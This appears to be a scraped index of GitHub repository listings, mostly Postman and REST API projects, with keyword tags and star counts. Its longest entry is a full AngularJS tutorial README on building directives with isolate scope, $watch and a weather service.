access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
AlbertLabarento/postman-collection-generator
bare, collection, function, functional, generator, integrate, integrated, package, test, tests 		Postman collection generator for your api's. Best used for your functional tests integrated with this package. 4 stars 4 watchers 3 forks
DatavenueLiveObjects/Postman-collections-for-Live-Objects
collection, collections, function, functional, functionalities, sample 		This is sample to use full functionalities of Live Objects 2 stars 2 watchers 1 forks
Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-CSharp
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 1 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-PHP
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 1 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Java
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 0 stars 0 watchers 3 forks
daggerok/gradle-postman-example
collection, example, function, functional, gradle, html, newman, package, postman collection, report, reports, single, test, tests 		This repository contains example how to execute postman collection tests using gradle (newman npm package). Add functionality to collect all html reports into single one 1 stars 1 watchers 0 forks
FLYINGKRIPTO/FristBlockchainApplication
action, blockchain, chai, function, functional 		This blockchain basic functionality app is made on Python using Flask and User interaction on Postman 1 stars 1 watchers 0 forks
ketankshukla/hello-api
function, functional 		A fully functional API created with Node, Express, Postman, Robo 3T. 1 stars 1 watchers 0 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Ruby
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 0 forks
red5pro/red5pro-api-client
admin, client, clients, clientside, function, functional, group, mini 		A set of Postman clientside API calls grouped by functionality for administering Red5 Pro 1 stars 1 watchers 0 forks
skhetarpaul/project-back-end
arranged, back end, directory, folder, function, functional, rating, rest, restaurant, restaurants, result, search, server, sort, sorted, system, upload, user, users 		This is a server side project using Node and Express.js. The purpose is to provide its users a functionality to search some best restaurants sorted and arranged according to their star ratings. Screenshots of working back end system has been uploaded to *project_postman_results* directory in the root folder here. 1 stars 1 watchers 0 forks
bygui86/kafka-sample
function, functional, functionalities, kafka, sample 		Sample of how to use Spring Kafka functionalities 0 stars 0 watchers 1 forks
bluepropane/newman-server
function, functional, functionalities, interface, newman, server 		Postman's Newman CLI functionalities exposed through a HTTP server interface. 0 stars 0 watchers 0 forks
brankozecevic/php_oop_rest_api
api blueprint, asyncapi, blog, client, data, database, environment, function, functional, import, json schema, oauth, openid, posts, principles, rest, server, sql, test, testing 		This is a REST API using PHP and OOP principles. There is also MySQL database that you can use to import on your server (myblog.sql). This REST API is based on CRUD functionality (blog posts and blog categories). For testing use Postman app environment as a REST client. 0 stars 0 watchers 0 forks
MaxDrljic/Laravel-Articles
function, functional, test, testing 		Simple Laravel app made for testing CRUD functionality with Postman. 0 stars 0 watchers 0 forks
harrkane/Blockchain
chai, function, functional 		A functional Blockchain created using Python and Flask; it is implemented using Postman 0 stars 0 watchers 0 forks
TVoroshilova/QA-automation-programmer
agile, application, automat, automatic, automation, cloud, degree, developing, development, environment, environments, expect, fluent, form, framework, frameworks, function, functional, home, including, integration, level, method, office, performance, process, product, program, public, release, remote, report, seek, skills, software, spec, specification, specifications, stat, system, test, testing, tests, tool, tools, track, tracking, user, writing 		At least 2 years experience in Testing Automation Development using known software testing tools and frameworks as Selenium, Appium, Postman, etc. ∙ Experience with Web, DB (SQL/NoSQL) and API testing – Must. ∙ Experience with working over Linux OS and public cloud environments – Must. ∙ Experience with defect tracking system (as GIT, Jira or VSTS/Azure Dev Ops) – Must. ∙ Experience in working with Docker – Advantage.We are seeking an experienced QA automation programmer that will be leading the testing automation activities for our SaaS product. ∙ The QA automation programmer will be part of an innovative team developing a challenging, cutting edge technology Web application for the e-Commerce world. ∙ Main responsibilities: Develop test plans including functional testing, end user testing, stress, performance, reliability and usability testing. o Evaluate product code according to specifications, report and track bugs and fixes. o Execute automatic tests on the product during development and pre-release stages. o Work closely with R&D and product teams on new features, system integration and performance testing as a part of a startup company stationed in Israel. o Participate in the complete development process using the agile methodology. ∙ Academic degree from a known institution.High level English – very good writing skills, fluent speech.The candidate agrees to work from Trust’s offices and not remotely from home.Salary expectations: Up to 2000 USD (Gross salary) 0 stars 0 watchers 0 forks
002366/API_Testing
form, function, functional, performance, tool 		Here is the APIs for Postman-tool,to understand the api functionality and implementing the CI/CD performance Integration 0 stars 0 watchers 0 forks
basskee/GrandCircus-Working-With-Postman
function, functional, test 		This is a simple Express.js API created to test the functionality of POSTMAN for Chrome 0 stars 0 watchers 0 forks
ChannaVeera/Fundoo
connection, function, functional, java, java8, mongo, note, swell, user 		using java8 functionalitys created using MVC Arch ,RestFull Api,s->{ Like User creating, Varfying user using jms for socket connection ,Api,s note& Label aswell using mongoDB 0 stars 0 watchers 0 forks
cloudcooksco/custom-Go-CRUD-server-template
cloud, form, function, functional, server, service, services, site, template, typical, website 		This is a custom Go server to handle typical CRUD services ie. website forms. This is a template, and does not come fully assembled with a db. Tested with postman - fully functional as of jan-16-2020 0 stars 0 watchers 0 forks
DanielMcAssey/SharedUploader-Watcher
file, files, function, functional, module, tool, tools, upload 		Part of the SharedUploader suite of tools: Easy tool to upload files to the SharedUploader Server module. REQUIRES SharedUploader-Postman. [DEPRECATED: ShareX provides more functionality] 0 stars 0 watchers 0 forks
hiteshere/jwt_authorization
auth, authorization, file, files, function, functional, implementation, operation, operations 		jwt basic implementation with get, post and put operations functional with postman files 0 stars 0 watchers 0 forks
martynow173/practice-3
actor, backend, comments, function, functional, github, handling, http, https, laravel, product, products, rating, relationship, sort, system, user 		Just backend requests handling, use postman. Additional functionality and code refactoring: user ratings, comments, sorting based on them, many-to-many relationship between categories and products. Role system - https://github.com/spatie/laravel-permission 0 stars 0 watchers 0 forks
michaelromanoo/rest-api
function, functional, rest 		this is a simple functional REST API which makes use of POST, GET, UPDATE and DELETE with the use of Postman. 0 stars 0 watchers 0 forks
nenadjeremic/todo-basic-express-mongo
example, examples, express, folder, form, function, functional, functionalities, import, imported, mongo, todo 		Basic TODO REST API using ExpressJS and MongoDB. Performs basic CRUD functionalities. Contains folder with examples of API requests that could be imported in Postman. 0 stars 0 watchers 0 forks
onur-yildiz/postman-ui
angular, function, functional, functionalities 		A basic replicate of Postman App UI with some functionalities. Made with angular. 0 stars 0 watchers 0 forks
pallavi-pillarisetty/postmantests
function, functional, postmantest, test, tests 		Test postman functionality 0 stars 0 watchers 0 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Python
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 0 stars 0 watchers 0 forks
StriveForBest/django-postman
ajax, django, fork, form, function, functional, place, placeholder, support 		django-postman fork to support ajax response, form placeholders and `mark as read` functionality 0 stars 0 watchers 0 forks
syedamanat/Maven-Spring-hibernate-docker
collection, collections, common, deploying, docker, function, functional, functionalities, hibernate, to do 		Developing common usage functionalities, REST-led with Postman collections and also deploying to docker. 0 stars 0 watchers 0 forks
warrencook6/new-login-auth-method
auth, function, functional, logging, login, method, route, routes 		Messing around logging in and having protected routes. Not fully functional, have to use postman to run it. 0 stars 0 watchers 0 forks

development (34 listings) (Back to Top)

postmanlabs/postman-docs
development, docs, form, platform 		Documentation for Postman, a collaboration platform for API development. Available for Mac, Windows and Linux. 116 stars 116 watchers 139 forks
open-source-labs/Swell
developer, developers, development, enable, enables, endpoint, endpoints, including, served, source, streaming, technologies, test, tool 		Swell: API development tool that enables developers to test endpoints served over streaming technologies including Server-Sent Events (SSE), WebSockets, HTTP2, GraphQL, and gRPC. 0 stars 0 watchers 19 forks
WebDevInfrastructure/MailingLists
development, general, import, interface, list, lists, maintained, single, standard, struct, structure, updating 		Mailing lists are an important part of the infrastructure of development of Web standards - generally PostMan is the standard, but it is maintained by a single individual and the interface/features could use some updating. 3 stars 3 watchers 1 forks
Make-School-Courses/ARCHIVE-MOB-5-Advanced-Mobile-App-Development
advance, advanced, clone, development 		Learn advanced iOS development by building a clone of the Whale App 0 stars 0 watchers 5 forks
Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
elliotberry/awesome-postman-collections
attempt, collection, collections, development, list 		An attempt to exhaustively list Postman collections for rapid API development. 1 stars 1 watchers 0 forks
spider1998/go-test
development, lang, language, test, testing, tool 		Interface testing tool for pure go language development (similar to postman) 1 stars 1 watchers 0 forks
akshaymittal143/BookAPI-Web-Services
combine, combined, data, development, end to end, express, integration, light, lightweight, powerful, quickly, server, service, services, test, tests, tool, unit, verb, verbs 		Node.js is a simple and powerful tool for back-end development. When combined with express, you can create lightweight, fast, scalable APIs quickly and simply. which will walk through how to stand up a lightweight Express server serving truly RESTful services using Node.js, Mongoose, and MongoDB. We will implement all of the RESTful verbs to get, add, and update data from our service. We will also spend some time working through unit and end to end integration tests for our services. 1 stars 1 watchers 0 forks
smmcgrath/MyFirstApp
access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app 		Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. 1 stars 1 watchers 0 forks
matt-ball/postman-cli
client, development, facilitate, local, script, scripts 		A client to facilitate local development of scripts for Postman 0 stars 0 watchers 1 forks
gmanideep1991/gradle-newman-runner
collection, collections, development, generate, gradle, newman, postman collection, postman collections, report, reports, runner 		Run postman collections and generate reports. Still in development. 0 stars 0 watchers 0 forks
sahilwasan000/Todo-Api
application, development, test, testing, user 		A REST API that lets the user, use the end points and create his own application using the API. It uses Node.js, Express and MongoDB for development and Mocha and Postman for testing purposes. 0 stars 0 watchers 0 forks
TVoroshilova/QA-automation-programmer
agile, application, automat, automatic, automation, cloud, degree, developing, development, environment, environments, expect, fluent, form, framework, frameworks, function, functional, home, including, integration, level, method, office, performance, process, product, program, public, release, remote, report, seek, skills, software, spec, specification, specifications, stat, system, test, testing, tests, tool, tools, track, tracking, user, writing 		At least 2 years experience in Testing Automation Development using known software testing tools and frameworks as Selenium, Appium, Postman, etc. ∙ Experience with Web, DB (SQL/NoSQL) and API testing – Must. ∙ Experience with working over Linux OS and public cloud environments – Must. ∙ Experience with defect tracking system (as GIT, Jira or VSTS/Azure Dev Ops) – Must. ∙ Experience in working with Docker – Advantage.We are seeking an experienced QA automation programmer that will be leading the testing automation activities for our SaaS product. ∙ The QA automation programmer will be part of an innovative team developing a challenging, cutting edge technology Web application for the e-Commerce world. ∙ Main responsibilities: Develop test plans including functional testing, end user testing, stress, performance, reliability and usability testing. o Evaluate product code according to specifications, report and track bugs and fixes. o Execute automatic tests on the product during development and pre-release stages. o Work closely with R&D and product teams on new features, system integration and performance testing as a part of a startup company stationed in Israel. o Participate in the complete development process using the agile methodology. ∙ Academic degree from a known institution.High level English – very good writing skills, fluent speech.The candidate agrees to work from Trust’s offices and not remotely from home.Salary expectations: Up to 2000 USD (Gross salary) 0 stars 0 watchers 0 forks
AlexMoroz/swagger2posman
collection, continuous, development, environment, generation, swagger, swagger2 		Idea: continuous generation of Postman collection and environment from swagger during development 0 stars 0 watchers 0 forks
aymenfurter/ubuntu-dev-vagrant
development, general, grant, install, installed, integration, ubuntu 		Ubuntu Dev Station with preinstalled Postman, SOAPUI, VSCode, Eclipse, Maven, JDK 8 / 11, plantUML, i3 for integration and general purpose development work. 0 stars 0 watchers 0 forks
bakersen/iReporter2
account, application, auth, bridge, countries, development, display, email, enable, enables, event, form, general, github, image, images, link, local, location, mail, notification, play, public, report, script, section, solution, solutions, stat, status, support, things, user, video 		iReporter enables any/every citizen to bring any form of corruption to the notice of appropriate authorities and the general public. Users can also report on things that needs government intervention. Corruption is a huge bane to Africa’s development. African countries must develop novel and localised solutions that will curb this menace, hence the birth of iReporter. ### Features 1. Users can create an account and log in. 2. Users can create a red-flag record (An incident linked to corruption). 3. Users can create intervention record (a call for a government agency to intervene e.g repair bad road sections, collapsed bridges, flooding e.t.c). 4. Users can edit their red-flag or intervention records. 5. Users can delete their red-flag or intervention records. 6. Users can add geolocation (Lat Long Coordinates) to their red-flag or intervention records . 7. Users can change the geolocation (Lat Long Coordinates) attached to their red-flag or intervention records . 8. Admin can change the status of a record to either under investigation, rejected (in the event of a false claim) or resolved (in the event that the claim has been investigated and resolved) . Optional Features 1. Users can add images to their red-flag or intervention records, to support their claims. 2. Users can add videos to their red-flag or intervention records, to support their claims. 3. The application should display a Google Map with Marker showing the red-flag or intervention location. 4. The user gets real-time email notification when Admin changes the status of their record. 